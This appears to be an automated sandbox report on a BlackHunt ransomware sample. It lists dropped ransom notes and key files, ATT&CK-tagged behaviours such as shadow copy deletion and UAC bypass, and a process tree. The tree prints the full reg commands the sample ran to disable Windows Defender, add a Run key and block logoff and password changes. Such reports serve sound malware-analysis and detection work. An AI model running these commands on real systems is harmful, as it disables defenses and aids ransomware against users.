File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\classfile_constants.h	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Thunder_Bay	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access_output\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSans.ttf	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\feature.properties	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_zh_4.4.0.v20140623020002.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Gaza	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\co\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\new-trigger-wiz.gif	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sampler.xml	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_ButtonGraphic.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk16\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\meta\art\01_googleimage.luac	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files (x86)\Google\Update\Install\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Aqtau	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+2	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_zh_4.4.0.v20140623020002.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-snaptracer.xml	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files (x86)\Adobe\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\dumpmeta.luac	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\spu\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-filesystems.xml	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-editor-mimelookup.xml	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-outline_zh_CN.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Title_Page_PAL.wmv	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationLeft_ButtonGraphic.png	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui_5.5.0.165303.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files (x86)\Google\Update\Download\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
824	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2440	vssadmin.exe
2912	vssadmin.exe
2260	vssadmin.exe
2564	vssadmin.exe
2168	vssadmin.exe
1724	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2000	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1496	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1700	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeRestorePrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeBackupPrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeTakeOwnershipPrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeAuditPrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeSecurityPrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeIncBasePriorityPrivilege	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeBackupPrivilege	2344	vssvc.exe
Token: SeRestorePrivilege	2344	vssvc.exe
Token: SeAuditPrivilege	2344	vssvc.exe
Token: SeBackupPrivilege	2736	wbengine.exe
Token: SeRestorePrivilege	2736	wbengine.exe
Token: SeSecurityPrivilege	2736	wbengine.exe
Token: SeSecurityPrivilege	1000	wevtutil.exe
Token: SeBackupPrivilege	1000	wevtutil.exe
Token: SeSecurityPrivilege	1268	wevtutil.exe
Token: SeBackupPrivilege	1268	wevtutil.exe
Token: SeSecurityPrivilege	2424	wevtutil.exe
Token: SeBackupPrivilege	2424	wevtutil.exe
Token: SeSecurityPrivilege	1860	wevtutil.exe
Token: SeBackupPrivilege	1860	wevtutil.exe
Token: SeSecurityPrivilege	1280	wevtutil.exe
Token: SeBackupPrivilege	1280	wevtutil.exe
Token: SeDebugPrivilege	2000	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2148	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	29
PID 3036 wrote to memory of 2148	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	29
PID 3036 wrote to memory of 2148	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	29
PID 3036 wrote to memory of 2148	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	29
PID 3036 wrote to memory of 2744	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	32
PID 3036 wrote to memory of 2744	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	32
PID 3036 wrote to memory of 2744	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	32
PID 3036 wrote to memory of 2744	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	32
PID 3036 wrote to memory of 2140	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	33
PID 3036 wrote to memory of 2140	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	33
PID 3036 wrote to memory of 2140	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	33
PID 3036 wrote to memory of 2140	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	33
PID 3036 wrote to memory of 2716	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	34
PID 3036 wrote to memory of 2716	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	34
PID 3036 wrote to memory of 2716	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	34
PID 3036 wrote to memory of 2716	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	34
PID 2148 wrote to memory of 2824	2148	cmd.exe	37
PID 2148 wrote to memory of 2824	2148	cmd.exe	37
PID 2148 wrote to memory of 2824	2148	cmd.exe	37
PID 3036 wrote to memory of 2836	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	123
PID 3036 wrote to memory of 2836	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	123
PID 3036 wrote to memory of 2836	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	123
PID 3036 wrote to memory of 2836	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	123
PID 2744 wrote to memory of 2992	2744	cmd.exe	40
PID 2744 wrote to memory of 2992	2744	cmd.exe	40
PID 2744 wrote to memory of 2992	2744	cmd.exe	40
PID 3036 wrote to memory of 2748	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	41
PID 3036 wrote to memory of 2748	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	41
PID 3036 wrote to memory of 2748	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	41
PID 3036 wrote to memory of 2748	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	41
PID 3036 wrote to memory of 2260	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	168
PID 3036 wrote to memory of 2260	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	168
PID 3036 wrote to memory of 2260	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	168
PID 3036 wrote to memory of 2260	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	168
PID 3036 wrote to memory of 2724	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	45
PID 3036 wrote to memory of 2724	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	45
PID 3036 wrote to memory of 2724	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	45
PID 3036 wrote to memory of 2724	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	45
PID 2140 wrote to memory of 2872	2140	cmd.exe	46
PID 2140 wrote to memory of 2872	2140	cmd.exe	46
PID 2140 wrote to memory of 2872	2140	cmd.exe	46
PID 3036 wrote to memory of 2636	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	47
PID 3036 wrote to memory of 2636	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	47
PID 3036 wrote to memory of 2636	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	47
PID 3036 wrote to memory of 2636	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	47
PID 3036 wrote to memory of 2912	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	129
PID 3036 wrote to memory of 2912	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	129
PID 3036 wrote to memory of 2912	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	129
PID 3036 wrote to memory of 2912	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	129
PID 3036 wrote to memory of 2696	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	52
PID 3036 wrote to memory of 2696	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	52
PID 3036 wrote to memory of 2696	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	52
PID 3036 wrote to memory of 2696	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	52
PID 2716 wrote to memory of 2756	2716	cmd.exe	51
PID 2716 wrote to memory of 2756	2716	cmd.exe	51
PID 2716 wrote to memory of 2756	2716	cmd.exe	51
PID 3036 wrote to memory of 2888	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	49
PID 3036 wrote to memory of 2888	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	49
PID 3036 wrote to memory of 2888	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	49
PID 3036 wrote to memory of 2888	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	49
PID 3036 wrote to memory of 2612	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	79
PID 3036 wrote to memory of 2612	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	79
PID 3036 wrote to memory of 2612	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	79
PID 3036 wrote to memory of 2612	3036	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	79

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
"C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
